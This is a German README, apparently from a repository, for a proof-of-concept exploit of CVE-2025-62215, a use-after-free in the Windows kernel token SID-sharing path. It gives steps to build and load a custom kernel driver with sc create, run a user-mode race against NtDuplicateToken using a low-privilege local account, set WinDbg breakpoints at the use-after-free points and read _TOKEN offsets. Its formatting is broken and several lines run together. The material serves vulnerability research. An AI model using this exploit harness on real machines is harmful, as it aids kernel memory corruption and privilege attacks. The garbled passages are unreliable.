
Proof-of-concept-Exploit für CVE-2025-62215, eine Use-After-Free-Sicherheitslücke im Windows-Kernel in SepTokenSidSharingEnabled. Enthält einen Kernel-Treiber und einen Benutzermodus-Exploit zur Analyse von Race Conditions.
Ein Use-After-Free-Schwachstellen-PoC, der im SepTokenSidSharingEnabled-Optimierungspfad des Windows-Kernels auftritt.
NtDuplicateToken den RefCount des SID-Werte-Blocks von 1→2 erhöht,
gibt ein konkurrierender Kernel-Thread den Block über ExFreePoolWithTag frei.SepDereferenceSidValuesBlock auf den freigegebenen Block zu → UAF / Double Free.[User] IOCTL_REPLACE_SID_BLOCK → Platzieren eines unabhängigen Blocks (RefCount=1) bei TOKEN+0x468
[User] IOCTL_TRIGGER_FREE → Kernel-Thread starten (pollt bis RefCount==2)
[User] NtDuplicateToken → Erhöht intern RefCount 1→2
[Kernel Thread] RefCount==2 erkannt → ExFreePoolWithTag(pBlock) ← UAF-Punkt
| Pfad | Beschreibung |
|---|---|
exploit/exploitWithDriv/exploitWithDriv.cpp | User-Mode-Exploit (Konsolen-App) |
tokendriv/tokendrv/tokendrv/tokendrv.cpp | Kernel-Treiber (bietet IOCTL-Schnittstelle) |
tokendriv.sys – Kernel-Treibertokendriv/tokendrv/tokendrv.slnxtokendriv/tokendrv/x64/Release/tokendrv.sys.sys-Datei in die VM kopierenNach der Installation des WDK prüfen: Projekteigenschaften → Treibereinstellungen → Ziel-OS-Version
exploitWithDriv.exe – User-Mode-Exploitexploit/exploitWithDriv.slnxexploit/x64/Release/exploitWithDriv.exeSepTokenSidSharingEnabled)test / 1234 (lokales Konto, keine Administratorrechte erforderlich)sc create tokendriv type= kernel binpath= "C:\path\to\tokendrv.sys"
sc start tokendriv
Überprüfen, ob der Treiber läuft:
sc query tokendriv
Status sollte RUNNING sein.
exploitWithDriv.exe
Ablauf:
FullNumberOfPhysicalPages (muss ≤ 0x83400 sein)LogonUser("test", ".", "1234") → hSource abrufenREPLACE → TRIGGER → NtDuplicateToken → Sleep(1)0: kd> !process 0 0 exploitWithDriv.exe
Beispielausgabe:
PROCESS ffffa88f5e61e080
SessionId: 1 Cid: 1234 Peb: ... ParentCid: ...
Image: exploitWithDriv.exe
ffffa88f5e61e080 ist die EPROCESS-Adresse.
Die folgenden Adressen können je nach Umgebung variieren – mit den tatsächlichen Kernel-Symbolen bestätigen.
A. RefCount-Erhöhung des SID-Blocks (Start des Race-Fensters)
0: kd> bp fffff800`725c6114 ".if (@$proc == 0xffffa88f5e61e080) { .echo A_REFCNT_INCR; dq poi(@rsi+0x468)+8 L1; gc } .else { gc }"
TOKEN+0x468 aus1 → 2 wechselt, ist das Race-FensterB. UAF-Lesepunkt
0: kd> bp fffff800`726f51fb ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_READ; r rax,rdx; gc } .else { gc }"
rax, rdx-Werte prüfenC. UAF-Schreibpunkt
0: kd> bp fffff800`726f5208 ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_WRITE; r rcx,rdx,rax; gc } .else { gc }"
rcx, rdx, rax auf Beschädigung prüfenNtDuplicateToken Eintritt
└─ SeTokenCanImpersonate
└─ SID-Block RefCount: 1 → 2 ← bp A (A_REFCNT_INCR)
← Kernel-Thread: ExFreePoolWithTag(pBlock)
└─ SepDereferenceSidValuesBlock
└─ pBlock dereferenzieren (lesen) ← bp B (REAL_UAF_READ)
└─ pBlock dereferenzieren (schreiben) ← bp C (REAL_UAF_WRITE)
A_REFCNT_INCR 2 ist, wurde das Race-Fenster erfolgreich betreten.REAL_UAF_READ / REAL_UAF_WRITE erscheinen, ist tatsächlicher UAF bestätigt.'kcoB' allokierte Blöcke verfolgen: !pool <addr> oder !poolusedsc stop tokendriv
sc delete tokendriv
| Struktur | Offset | Feld |
|---|
_TOKEN | +0x468 | SepSidValues (Zeiger auf SID-Werte-Block) |
| SID-Werte-Block | +0x000 | Length (ULONG) |
| SID-Werte-Block | +0x008 | ReferenceCount (LONGLONG) |